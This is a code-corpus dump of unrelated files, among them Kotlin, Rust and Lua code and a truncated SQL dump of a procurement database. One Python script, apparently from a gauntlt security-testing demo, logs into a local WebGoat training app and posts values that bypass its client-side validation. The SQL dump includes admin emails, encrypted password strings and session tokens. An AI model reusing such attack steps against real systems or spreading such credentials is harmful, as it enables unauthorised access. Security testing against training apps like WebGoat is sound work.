hexsha
stringlengths
40
40
size
int64
5
1.05M
ext
stringclasses
98 values
lang
stringclasses
21 values
max_stars_repo_path
stringlengths
3
945
max_stars_repo_name
stringlengths
4
118
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
368k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
945
max_issues_repo_name
stringlengths
4
118
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
134k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
945
max_forks_repo_name
stringlengths
4
135
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
1.05M
avg_line_length
float64
1
1.03M
max_line_length
int64
2
1.03M
alphanum_fraction
float64
0
1
acdbf1bfc6c5506c1290695415cff14282d70bf1
1,282
kt
Kotlin
src/main/kotlin/de/dikodam/day09/Day09.kt
dikodam/adventofcode2020
dc70d185cb9f6fd7d69bd1fe74c6dfc8f4aac097
[ "MIT" ]
null
null
null
src/main/kotlin/de/dikodam/day09/Day09.kt
dikodam/adventofcode2020
dc70d185cb9f6fd7d69bd1fe74c6dfc8f4aac097
[ "MIT" ]
null
null
null
src/main/kotlin/de/dikodam/day09/Day09.kt
dikodam/adventofcode2020
dc70d185cb9f6fd7d69bd1fe74c6dfc8f4aac097
[ "MIT" ]
null
null
null
package de.dikodam.day09 import de.dikodam.AbstractDay import de.dikodam.utils.asLongSequence fun main() { Day09()() } class Day09 : AbstractDay() { private val input = Day09Input().input.asLongSequence() override fun task1(): String { val (_, breakingXMASint) = input .windowed(size = 26, step = 1, partialWindows = false) { list -> list.take(25) to list.last() } .first { (preamble, next) -> !satisfiesXmasProperty(preamble, next) } return "$breakingXMASint" } fun satisfiesXmasProperty(preamble: List<Long>, next: Long) = preamble.any { element -> preamble.contains(next - element) } override fun task2(): String { val target = task1().toLong() val subranges = input.mapIndexed { index, _ -> input.drop(index) } val rawXmasBreakingSequence = subranges.map { subrange -> subrange.zip(subrange.runningReduce(Long::plus)) } .first { sequence -> sequence.any { (_, partSum) -> partSum == target } } val xmasBreakingSeq = rawXmasBreakingSequence.takeWhile { (_, partSum) -> partSum <= target }.map { it.first } val min: Long = xmasBreakingSeq.minOrNull() ?: 0L val max = xmasBreakingSeq.maxOrNull() ?: 0L return "${min + max}" } }
34.648649
118
0.632605
1a4c674bd3a0a46e25b3a60e70eca27ec551df0d
1,299
py
Python
examples/webgoat/vuln-30/exploit-vuln-30.py
gauntlt/gauntlt-demo
13a1a1306bcb4aaa70ba42c97f469b8a35c65902
[ "MIT" ]
21
2015-04-11T16:30:43.000Z
2021-08-24T21:40:51.000Z
examples/webgoat/vuln-30/exploit-vuln-30.py
gauntlt/gauntlt-demo
13a1a1306bcb4aaa70ba42c97f469b8a35c65902
[ "MIT" ]
12
2015-05-13T04:25:15.000Z
2015-12-12T06:03:38.000Z
examples/webgoat/vuln-30/exploit-vuln-30.py
gauntlt/gauntlt-demo
13a1a1306bcb4aaa70ba42c97f469b8a35c65902
[ "MIT" ]
61
2015-03-16T21:39:48.000Z
2021-05-12T17:20:28.000Z
import requests import json payload = { 'username': 'guest', 'password': 'guest' } attack_payload = { 'field1': 'abc@', 'field2': '123@', 'field3': 'abc+123+ABC@', 'field4': 'seven@', 'field5': '90210@', 'field6': '90210-1111@', 'field7': '301-604-4882@' } login_url = 'http://127.0.0.1:8080/WebGoat/login.mvc' post_url = 'http://127.0.0.1:8080/WebGoat/j_spring_security_check' session = requests.Session() login_page = session.get(login_url) logging = session.post(post_url, data=payload) if logging.status_code == 200 : menu_url = 'http://127.0.0.1:8080/WebGoat/service/lessonmenu.mvc' menu = session.get(menu_url) parse_menu = menu.json() attack = 'Bypass Client Side JavaScript Validation' attack_start = menu.text.find(attack) attack_after_screen = menu.text.find('Screen', attack_start) screen_menu = menu.text[attack_after_screen: attack_after_screen + 21] attack_url = 'http://127.0.0.1:8080/WebGoat/attack?' + screen_menu attack_page = session.get(attack_url) now_attack = session.post(attack_url, data=attack_payload) attack_successful = 'Congratulations. You have successfully completed this lesson' now_attack.text.find(attack_successful) if now_attack.text.find(attack_successful) == -1 : print 'vuln-30 not present' else : print 'vuln-30 is present'
26.510204
83
0.725943
273b8391170e48d7e13be92fd3f4d566c91a53db
15,236
rs
Rust
core/src/mutations.rs
sheepdreamofandroids/neat-rs
fecef6814025a0ac30ad348fc8b15ff7e08f4037
[ "MIT" ]
14
2021-01-17T16:42:35.000Z
2022-02-16T18:07:07.000Z
core/src/mutations.rs
sheepdreamofandroids/neat-rs
fecef6814025a0ac30ad348fc8b15ff7e08f4037
[ "MIT" ]
5
2021-01-18T08:50:10.000Z
2021-01-18T08:50:11.000Z
core/src/mutations.rs
sheepdreamofandroids/neat-rs
fecef6814025a0ac30ad348fc8b15ff7e08f4037
[ "MIT" ]
1
2022-02-15T19:11:09.000Z
2022-02-15T19:11:09.000Z
use rand::distributions::{Distribution, Standard}; use rand::random; use rand::thread_rng; use rand::Rng; use rand_distr::StandardNormal; use crate::activation::ActivationKind; use crate::genome::Genome; use crate::node::NodeKind; pub fn mutate(kind: &MutationKind, g: &mut Genome) { use MutationKind::*; match kind { AddConnection => add_connection(g), RemoveConnection => disable_connection(g), AddNode => add_node(g), RemoveNode => remove_node(g), ModifyWeight => change_weight(g), ModifyBias => change_bias(g), ModifyActivation => change_activation(g), ModifyAggregation => change_aggregation(g), }; } #[derive(Debug, Clone, Eq, PartialEq, Hash)] pub enum MutationKind { AddConnection, RemoveConnection, AddNode, RemoveNode, ModifyWeight, ModifyBias, ModifyActivation, ModifyAggregation, } impl Distribution<MutationKind> for Standard { fn sample<R: Rng + ?Sized>(&self, rng: &mut R) -> MutationKind { use MutationKind::*; match rng.gen_range(0, 7) { 0 => AddConnection, 1 => RemoveConnection, 2 => AddNode, 3 => RemoveNode, 4 => ModifyWeight, 5 => ModifyBias, _ => ModifyActivation, } } } /// Adds a new random connection pub fn add_connection(g: &mut Genome) { let existing_connections: Vec<(usize, usize, bool)> = g .connections() .iter() .map(|c| (c.from, c.to, c.disabled)) .collect(); let mut possible_connections: Vec<(usize, usize)> = (0..g.nodes().len()) .flat_map(|i| { let mut inner = vec![]; (0..g.nodes().len()).for_each(|j| { if i != j { if !existing_connections.contains(&(i, j, false)) { inner.push((i, j)); }; if !existing_connections.contains(&(j, i, false)) { inner.push((j, i)); }; } }); inner }) .collect(); possible_connections.sort_unstable(); possible_connections.dedup(); possible_connections = possible_connections .into_iter() .filter(|(i, j)| g.can_connect(*i, *j)) .collect(); if possible_connections.is_empty() { return; } let picked_connection = possible_connections .get(random::<usize>() % possible_connections.len()) .unwrap(); g.add_connection(picked_connection.0, picked_connection.1) .unwrap(); } /// Removes a random connection if it's not the only one fn disable_connection(g: &mut Genome) { let eligible_indexes: Vec<usize> = g .connections() .iter() .enumerate() .filter(|(_, c)| { if c.disabled { return false; } let from_index = c.from; let to_index = c.to; // Number of outgoing connections for the `from` node let from_connections_count = g .connections() .iter() .filter(|c| c.from == from_index && !c.disabled) .count(); // Number of incoming connections for the `to` node let to_connections_count = g .connections() .iter() .filter(|c| c.to == to_index && !c.disabled) .count(); from_connections_count > 1 && to_connections_count > 1 }) .map(|(i, _)| i) .collect(); if eligible_indexes.is_empty() { return; } let index = eligible_indexes .get(random::<usize>() % eligible_indexes.len()) .unwrap(); g.disable_connection(*index); } /// Adds a random hidden node to the genome and its connections pub fn add_node(g: &mut Genome) { let new_node_index = g.add_node(); // Only enabled connections can be disabled let enabled_connections: Vec<usize> = g .connections() .iter() .enumerate() .filter(|(_, c)| !c.disabled) .map(|(i, _)| i) .collect(); let (picked_index, picked_from, picked_to, picked_weight) = { let random_enabled_connection_index = random::<usize>() % enabled_connections.len(); let picked_index = enabled_connections .get(random_enabled_connection_index) .unwrap(); let picked_connection = g.connections().get(*picked_index).unwrap(); ( picked_index, picked_connection.from, picked_connection.to, picked_connection.weight, ) }; g.disable_connection(*picked_index); let connection_index = g.add_connection(picked_from, new_node_index).unwrap(); g.add_connection(new_node_index, picked_to).unwrap(); // Reuse the weight from the removed connection g.connection_mut(connection_index).unwrap().weight = picked_weight; } /// Removes a random hidden node from the genome and rewires connected nodes fn remove_node(g: &mut Genome) { let hidden_nodes: Vec<usize> = g .nodes() .iter() .enumerate() .filter(|(i, n)| { let incoming_count = g .connections() .iter() .filter(|c| c.to == *i && !c.disabled) .count(); let outgoing_count = g .connections() .iter() .filter(|c| c.from == *i && !c.disabled) .count(); matches!(n.kind, NodeKind::Hidden) && incoming_count > 0 && outgoing_count > 0 }) .map(|(i, _)| i) .collect(); if hidden_nodes.is_empty() { return; } let picked_node_index = hidden_nodes .get(random::<usize>() % hidden_nodes.len()) .unwrap(); let incoming_connections_and_from_indexes: Vec<(usize, usize)> = g .connections() .iter() .enumerate() .filter(|(_, c)| c.to == *picked_node_index && !c.disabled) .map(|(i, c)| (i, c.from)) .collect(); let outgoing_connections_and_to_indexes: Vec<(usize, usize)> = g .connections() .iter() .enumerate() .filter(|(_, c)| c.from == *picked_node_index && !c.disabled) .map(|(i, c)| (i, c.to)) .collect(); let new_from_to_pairs: Vec<(usize, usize)> = incoming_connections_and_from_indexes .iter() .flat_map(|(_, from)| { outgoing_connections_and_to_indexes .iter() .map(|(_, to)| (*from, *to)) .collect::<Vec<(usize, usize)>>() }) .filter(|(from, to)| { g.connections() .iter() .find(|c| c.from == *from && c.to == *to && !c.disabled) .is_none() }) .collect(); g.add_many_connections(&new_from_to_pairs); let connection_indexes_to_delete: Vec<usize> = g .connections() .iter() .enumerate() .filter(|(_, c)| c.from == *picked_node_index || c.to == *picked_node_index) .map(|(i, _)| i) .collect(); g.disable_many_connections(&connection_indexes_to_delete); } /// Changes the weight of a random connection fn change_weight(g: &mut Genome) { let index = random::<usize>() % g.connections().len(); let picked_connection = g.connection_mut(index).unwrap(); let new_weight = if random::<f64>() < 0.1 { picked_connection.weight + thread_rng().sample::<f64, StandardNormal>(StandardNormal) } else { random::<f64>() * 2. - 1. }; picked_connection.weight = new_weight.max(-1.).min(1.); } /// Changes the bias of a random non input node fn change_bias(g: &mut Genome) { let eligible_indexes: Vec<usize> = g .nodes() .iter() .enumerate() .filter(|(_, n)| !matches!(n.kind, NodeKind::Input)) .map(|(i, _)| i) .collect(); let index = eligible_indexes .get(random::<usize>() % eligible_indexes.len()) .unwrap(); let picked_node = g.node_mut(*index).unwrap(); let new_bias = if random::<f64>() < 0.1 { picked_node.bias + thread_rng().sample::<f64, StandardNormal>(StandardNormal) } else { random::<f64>() * 2. - 1. }; picked_node.bias = new_bias.max(-1.).min(1.); } /// Changes the activation function of a random non input node fn change_activation(g: &mut Genome) { let eligible_indexes: Vec<usize> = g .nodes() .iter() .enumerate() .filter(|(_, n)| !matches!(n.kind, NodeKind::Input)) .map(|(i, _)| i) .collect(); let index = eligible_indexes .get(random::<usize>() % eligible_indexes.len()) .unwrap(); let picked_node = g.node_mut(*index).unwrap(); picked_node.activation = random::<ActivationKind>(); } fn change_aggregation(g: &mut Genome) { let eligible_indexes: Vec<usize> = g .nodes() .iter() .enumerate() .filter(|(_, n)| !matches!(n.kind, NodeKind::Input)) .map(|(i, _)| i) .collect(); let index = eligible_indexes .get(random::<usize>() % eligible_indexes.len()) .unwrap(); let picked_node = g.node_mut(*index).unwrap(); picked_node.aggregation = random(); } #[cfg(test)] mod tests { use super::*; #[test] fn add_connection_adds_missing_connection() { let mut g = Genome::new(1, 2); g.add_node(); g.add_connection(0, 3).unwrap(); g.add_connection(3, 2).unwrap(); assert!(!g.connections().iter().any(|c| c.from == 3 && c.to == 1)); add_connection(&mut g); assert!(g.connections().iter().any(|c| c.from == 3 && c.to == 1)); } #[test] fn add_connection_doesnt_add_unecessary_connections() { let mut g = Genome::new(1, 2); g.add_node(); g.add_connection(0, 3).unwrap(); g.add_connection(3, 2).unwrap(); // This will add the last missing connection assert_eq!(g.connections().len(), 4); add_connection(&mut g); assert_eq!(g.connections().len(), 5); // There should be no new connections add_connection(&mut g); assert_eq!(g.connections().len(), 5); } #[test] fn remove_connection_doesnt_remove_last_connection_of_a_node() { let mut g = Genome::new(1, 2); assert_eq!(g.connections().iter().filter(|c| !c.disabled).count(), 2); disable_connection(&mut g); assert_eq!(g.connections().iter().filter(|c| !c.disabled).count(), 2); } #[test] fn add_node_doesnt_change_existing_connections() { let mut g = Genome::new(1, 1); let original_connections = g.connections().to_vec(); add_node(&mut g); let original_connections_not_modified = original_connections .iter() .filter(|oc| { g.connections() .iter() .any(|c| c.from == oc.from && c.to == oc.to && c.disabled == oc.disabled) }) .count(); // When adding a node, a connection is selected to be disabled and replaced with a new node and two new // connections assert_eq!( original_connections_not_modified, original_connections.len() - 1 ); } #[test] fn remove_node_doesnt_mess_up_the_connections() { let mut g = Genome::new(1, 1); let connection_enabled_initially = !g.connections().first().unwrap().disabled; add_node(&mut g); let connection_disabled_after_add = g.connections().first().unwrap().disabled; remove_node(&mut g); let connection_enabled_after_remove = !g.connections().first().unwrap().disabled; assert!(connection_enabled_initially); assert!(connection_disabled_after_add); assert!(connection_enabled_after_remove); } #[test] fn change_bias_doesnt_change_input_nodes() { let mut g = Genome::new(1, 1); let input_bias = g.nodes().get(0).unwrap().bias; let output_bias = g.nodes().get(1).unwrap().bias; for _ in 0..10 { change_bias(&mut g); } let new_input_bias = g.nodes().get(0).unwrap().bias; let new_output_bias = g.nodes().get(1).unwrap().bias; assert!((input_bias - new_input_bias).abs() < f64::EPSILON); assert!((output_bias - new_output_bias).abs() > f64::EPSILON); } #[test] fn change_activation_doesnt_change_input_nodes() { let mut g = Genome::new(1, 1); let i_activation = g.nodes().get(0).unwrap().activation.clone(); let o_activation = g.nodes().get(1).unwrap().activation.clone(); let mut new_i_activations = vec![]; let mut new_o_activations = vec![]; for _ in 0..10 { change_activation(&mut g); new_i_activations.push(g.nodes().get(0).unwrap().activation.clone()); new_o_activations.push(g.nodes().get(1).unwrap().activation.clone()); } assert!(new_i_activations.iter().all(|a| *a == i_activation)); assert!(new_o_activations.iter().any(|a| *a != o_activation)); } #[test] fn mutate_genome() { use std::collections::HashMap; use std::convert::TryFrom; use std::time; let mut times: HashMap<MutationKind, Vec<time::Duration>> = HashMap::new(); let mut g = Genome::new(1, 1); let limit = 50; for i in 1..=limit { let kind: MutationKind = random(); let before = std::time::Instant::now(); mutate(&kind, &mut g); let after = std::time::Instant::now(); let duration = after.duration_since(before); if times.get(&kind).is_none() { times.insert(kind.clone(), vec![]); } times.get_mut(&kind).unwrap().push(duration); if g.connections().iter().all(|c| c.disabled) { panic!("All connections disabled, happened after {:?}", kind); } println!("mutation {}/{}", i, limit); } let mut kind_average_times: Vec<(MutationKind, time::Duration)> = times .iter() .map(|(k, t)| { let sum: u128 = t.iter().map(|d| d.as_micros()).sum(); let avg: u128 = sum.div_euclid(u128::try_from(t.len()).unwrap()); let duration = time::Duration::from_micros(u64::try_from(avg).unwrap()); (k.clone(), duration) }) .collect(); kind_average_times.sort_by(|(_, duration1), (_, duration2)| duration1.cmp(duration2)); kind_average_times.iter().for_each(|(k, duration)| { println!("{:?} on avg took {:?}", k, duration); }); println!( "Genome had {} nodes and {} connections, of which {} were active", g.nodes().len(), g.connections().len(), g.connections().iter().filter(|c| !c.disabled).count(), ); } }
29.933202
111
0.549882
436e175837d63518dd366e4a59f306fbbb469d37
629
tsx
TypeScript
src/components/game/__tests__/Game.test.tsx
G3F4/reactive-snake
24877d3657ee42597ad25859c5287272baa3cdf0
[ "MIT" ]
null
null
null
src/components/game/__tests__/Game.test.tsx
G3F4/reactive-snake
24877d3657ee42597ad25859c5287272baa3cdf0
[ "MIT" ]
5
2020-06-24T12:50:43.000Z
2022-02-18T02:20:19.000Z
src/components/game/__tests__/Game.test.tsx
G3F4/reactive-snake
24877d3657ee42597ad25859c5287272baa3cdf0
[ "MIT" ]
null
null
null
import React from 'react'; import { render } from '@testing-library/react'; import { PointModel } from '../../../models/PointModel'; import { SnakeModel } from '../../../models/SnakeModel'; import Game from '../Game'; it('renders without crashing', () => { // given const gridSize = 10; const snake = new SnakeModel([ new PointModel(gridSize / 2, gridSize / 2), new PointModel(gridSize / 2, gridSize / 2 + 1), ]); // when const { container } = render( <Game gridSize={gridSize} snake={snake} />, ); //then // @ts-ignore expect(container.firstChild.classList.contains('Game')).toBeTruthy(); });
26.208333
71
0.631161
6642ac40b63574ae9ae0a30537fab8c7066f07d8
240
sql
SQL
sql/tables/interest-table.sql
CyberShai/backend-cybershai
ba74771c5db0087c2227486edb5f313003436ec8
[ "MIT" ]
null
null
null
sql/tables/interest-table.sql
CyberShai/backend-cybershai
ba74771c5db0087c2227486edb5f313003436ec8
[ "MIT" ]
null
null
null
sql/tables/interest-table.sql
CyberShai/backend-cybershai
ba74771c5db0087c2227486edb5f313003436ec8
[ "MIT" ]
null
null
null
CREATE TABLE `tp_hackaton`.`interests` ( `interest_id` INT NOT NULL AUTO_INCREMENT, `name` VARCHAR(32) NOT NULL, `created` DATETIME NOT NULL, `modified` DATETIME NOT NULL, `active` TINYINT NOT NULL, PRIMARY KEY (`interest_id`));
34.285714
44
0.716667
1272f64191b31fda21d0f8d1bc9fe09b9f89879c
3,256
lua
Lua
Interface/AddOns/AddOnSkins/Skins/Tongues.lua
ChinarG/Game-Wow-Plugins-Setting
e3fd3ddec1387c1f971dc195fec4fd9045d3105d
[ "Apache-2.0" ]
null
null
null
Interface/AddOns/AddOnSkins/Skins/Tongues.lua
ChinarG/Game-Wow-Plugins-Setting
e3fd3ddec1387c1f971dc195fec4fd9045d3105d
[ "Apache-2.0" ]
null
null
null
Interface/AddOns/AddOnSkins/Skins/Tongues.lua
ChinarG/Game-Wow-Plugins-Setting
e3fd3ddec1387c1f971dc195fec4fd9045d3105d
[ "Apache-2.0" ]
null
null
null
local AS = unpack(AddOnSkins) if not AS:CheckAddOn('Tongues') then return end function AS:Tongues() AS:SkinFrame(Tongues.UI.MainMenu.Frame) AS:SkinFrame(Tongues.UI.MainMenu.AdvancedOptions.Frame) AS:SkinButton(Tongues.UI.MiniMenu.Frame) Tongues.UI.MiniMenu.Frame:HookScript('OnUpdate', function(self) self:SetText("|cFFFFFFFFTongues\10|cff1784d1"..Tongues.Settings.Character.Language) end) AS:SkinButton(Tongues.UI.MainMenu.SpeakButton.Frame) AS:SkinButton(Tongues.UI.MainMenu.UnderstandButton.Frame) AS:SkinButton(Tongues.UI.MainMenu.HearButton.Frame) AS:SkinCloseButton(Tongues.UI.MainMenu.CloseButton.Frame) AS:SkinDropDownBox(Tongues.UI.MainMenu.Speak.LanguageDropDown.Frame) AS:SkinDropDownBox(Tongues.UI.MainMenu.Speak.DialectDropDown.Frame) AS:SkinDropDownBox(Tongues.UI.MainMenu.Speak.AffectDropDown.Frame) AS:SkinSlideBar(Tongues.UI.MainMenu.Speak.AffectFrequency.Frame) -- AS:SkinCheckBox(Tongues.UI.MainMenu.Speak.DialectDrift.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Speak.LanguageLearn.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Speak.ShapeshiftLanguage.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Speak.MiniHide.Frame) -- AS:SkinCheckBox(Tongues.UI.MainMenu.Speak.LoreCompatibility.Frame) AS:SkinEditBox(Tongues.UI.MainMenu.Understand.Language.Frame) AS:SkinSlideBar(Tongues.UI.MainMenu.Understand.Fluency.Frame) AS:SkinButton(Tongues.UI.MainMenu.Understand.UpdateButton.Frame) AS:SkinButton(Tongues.UI.MainMenu.Understand.ClearLanguagesButton.Frame) AS:SkinButton(Tongues.UI.MainMenu.Understand.ListLanguagesButton.Frame) AS:SkinTooltip(Lib_DropDownList1Backdrop) AS:SkinDropDownBox(Tongues.UI.MainMenu.Hear.Filter.Frame) AS:SkinButton(Tongues.UI.MainMenu.AdvancedButton.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Translations.Self.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Translations.Targetted.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Translations.Party.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Translations.Guild.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Translations.Officer.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Translations.Raid.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Translations.RaidAlert.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Translations.Battleground.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Screen.Self.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Screen.Targetted.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Screen.Party.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Screen.Guild.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Screen.Officer.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Screen.Raid.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Screen.RaidAlert.Frame) AS:SkinCheckBox(Tongues.UI.MainMenu.Screen.Battleground.Frame) AS:SkinEditBox(Tongues.UI.MainMenu.Translators.TranslatorEditbox.Frame) AS:SkinButton(Tongues.UI.MainMenu.Translators.AddTranslatorButton.Frame) AS:SkinButton(Tongues.UI.MainMenu.Translators.ClearTranslatorButton.Frame) AS:SkinButton(Tongues.UI.MainMenu.Translators.ListTranslatorButton.Frame) Tongues.UI.MainMenu.Minimize.Frame:SetPoint("TOPLEFT", Tongues.UI.MainMenu.Frame, 2, -2) AS:CreateBackdrop(Tongues.UI.MainMenu.Minimize.Frame) AS:SkinTexture(Tongues.UI.MainMenu.Minimize.texture[1]) end AS:RegisterSkin('Tongues', AS.Tongues)
55.186441
89
0.834767
385c04e06476683222d8d99a0fce7e35837b57bb
257
php
PHP
database/seeders/DatabaseSeeder.php
Enferum/swift-demo
c7d6149bb86f8a355f44b46a96317a34309c512b
[ "MIT" ]
null
null
null
database/seeders/DatabaseSeeder.php
Enferum/swift-demo
c7d6149bb86f8a355f44b46a96317a34309c512b
[ "MIT" ]
null
null
null
database/seeders/DatabaseSeeder.php
Enferum/swift-demo
c7d6149bb86f8a355f44b46a96317a34309c512b
[ "MIT" ]
null
null
null
<?php namespace Database\Seeders; use App\Models\User; use Illuminate\Database\Seeder; class DatabaseSeeder extends Seeder { public function run() { User::factory()->create([ 'email' => 'user@example.com', ]); } }
15.117647
42
0.603113
b3535f9e0c2e18279265e83ceb0d2e0d9bdb5bf5
12,595
sql
SQL
pengadaan.sql
maulananursan/pengadaan
4bb66fb1e0792f6dc47d0d78b33e00b7dc478026
[ "MIT" ]
null
null
null
pengadaan.sql
maulananursan/pengadaan
4bb66fb1e0792f6dc47d0d78b33e00b7dc478026
[ "MIT" ]
null
null
null
pengadaan.sql
maulananursan/pengadaan
4bb66fb1e0792f6dc47d0d78b33e00b7dc478026
[ "MIT" ]
null
null
null
-- phpMyAdmin SQL Dump -- version 5.1.0 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Aug 23, 2021 at 01:12 AM -- Server version: 10.4.19-MariaDB -- PHP Version: 7.3.28 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `pengadaan` -- -- -------------------------------------------------------- -- -- Table structure for table `tbl_admin` -- CREATE TABLE `tbl_admin` ( `id_admin` int(11) NOT NULL, `nama` varchar(100) NOT NULL, `email` varchar(100) NOT NULL, `alamat` text NOT NULL, `password` varchar(255) NOT NULL, `status` int(11) NOT NULL DEFAULT 1, `token` text DEFAULT NULL, `created_at` timestamp NOT NULL DEFAULT current_timestamp(), `updated_at` timestamp NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `tbl_admin` -- INSERT INTO `tbl_admin` (`id_admin`, `nama`, `email`, `alamat`, `password`, `status`, `token`, `created_at`, `updated_at`) VALUES (1, 'Maulana', 'admin@gmail.com', 'Alamat Admin', 'eyJpdiI6IndVR3RvbHk0ZzJjbVl5WENEY2JJbHc9PSIsInZhbHVlIjoiQ3pwUHkzOFgxNlZpUkNRXC9hek05bWc9PSIsIm1hYyI6IjM5NTFjOGY4MDhjNTIxMTNhZWZlMGU3Y2IyNzVhNjQxYzBiMWQ3YzU1MDA1YmE4MTk2MmQ1Y2RmYWFkMmVkMTAifQ==', 1, 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZF9hZG1pbiI6MX0._Qnky-cB1lvffVdnCOd8wHlwS7NQWFs-Tu1v3jplu_g', '2021-08-01 20:44:01', '2021-08-18 19:24:38'), (2, 'Nursan', 'admin2@gmail.com', 'Subang', 'eyJpdiI6IktrNzF2ODlPQUx3cGRuNDgxQXM0ZFE9PSIsInZhbHVlIjoiNVhTb2VEdXRtRGJaR1g4ZmFqOUF6Zz09IiwibWFjIjoiYmZmODJjNzdkN2U1ODJlYWEzNzQ1NTI2OTY3MGExYjg1N2FhZTAwODM4YzA2ZjExNzk2MDY0NzMxZTU4YWQ4OSJ9', 1, 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZF9hZG1pbiI6Mn0.mGSdA92OJj0utNSPKhRomzUcQaJ20VYpcEi4r7vKLhs', '2021-08-04 02:02:01', '2021-08-17 21:08:46'), (11, 'Alfarizi', 'admin3@gmail.com', 'Alamat Admin 3', 'eyJpdiI6IkFcL2Z5akh0QUlHamozb2tFN2pwc1N3PT0iLCJ2YWx1ZSI6Im05c2NDYmxvK1B3OWZMYTA0OUJGb2c9PSIsIm1hYyI6ImY4N2Q0MTIyNDYyN2ZkMmM3YmM4ODhiZTEyY2E5ZTBkYTJiOGY0NWI2MjYzZTE3MWE5MDc4YzZjNjI4MzU0YzQifQ==', 1, 'kosong', '2021-08-04 02:56:51', '2021-08-17 21:08:25'); -- -------------------------------------------------------- -- -- Table structure for table `tbl_laporan` -- CREATE TABLE `tbl_laporan` ( `id_laporan` int(11) NOT NULL, `id_pengajuan` int(11) NOT NULL, `id_suplier` int(11) NOT NULL, `laporan` text NOT NULL, `created_at` timestamp NOT NULL DEFAULT current_timestamp(), `updated_at` timestamp NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `tbl_laporan` -- INSERT INTO `tbl_laporan` (`id_laporan`, `id_pengajuan`, `id_suplier`, `laporan`, `created_at`, `updated_at`) VALUES (2, 2, 6, 'public/laporan/tBLewxK2lPY7DawdZ1qxbczlGxEeH6VN64WCD7Kb.pdf', '2021-08-11 22:46:53', '2021-08-11 22:46:53'), (3, 1, 6, 'public/laporan/hlkC2JYFMfy2YFyNyBqqxnzLQH9AfRYIEl1U875K.pdf', '2021-08-17 02:22:44', '2021-08-17 02:22:44'); -- -------------------------------------------------------- -- -- Table structure for table `tbl_pengadaan` -- CREATE TABLE `tbl_pengadaan` ( `id_pengadaan` int(11) NOT NULL, `nama_pengadaan` varchar(100) NOT NULL, `deskripsi` text NOT NULL, `gambar` text NOT NULL, `anggaran` double NOT NULL, `status` int(11) NOT NULL DEFAULT 1, `created_at` timestamp NOT NULL DEFAULT current_timestamp(), `updated_at` timestamp NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- -- Dumping data for table `tbl_pengadaan` -- INSERT INTO `tbl_pengadaan` (`id_pengadaan`, `nama_pengadaan`, `deskripsi`, `gambar`, `anggaran`, `status`, `created_at`, `updated_at`) VALUES (1, 'Meja Kayu', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/Nasrq6jHNkfCMIVeYFmZOQd6zW37bS1sEsiRrP7O.png', 25000000, 1, '2021-08-04 23:11:58', '2021-08-17 01:31:33'), (2, 'Kursi Kayu', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/qG7VgKqKsrlK8tlhr1FJhknWGZcTEHZoLAuoEHfB.png', 15000000, 1, '2021-08-04 23:13:46', '2021-08-17 01:04:04'), (4, 'Mobil', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/x9QWKznKQSh5tsDCPKQtitvDNA6v5TaihouEGKaE.png', 375000000, 1, '2021-08-08 22:04:30', '2021-08-17 01:04:10'), (5, 'Motor', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/wRuoYcoIS00T7h22E2E1NcS26Uk4x1N2rFS6V4Lk.png', 25000000, 1, '2021-08-04 23:11:58', '2021-08-17 01:04:18'), (6, 'Laptop', 'https://jdih.bsn.go.id/public_assets/file/ee9870807228bfbe394a0d274d076fef.pdf', 'public/gambar/CYYPBQGxLOVWYCnfZDgyiu6EFN4TmjF4QbgvgF9K.png', 15000000, 1, '2021-08-04 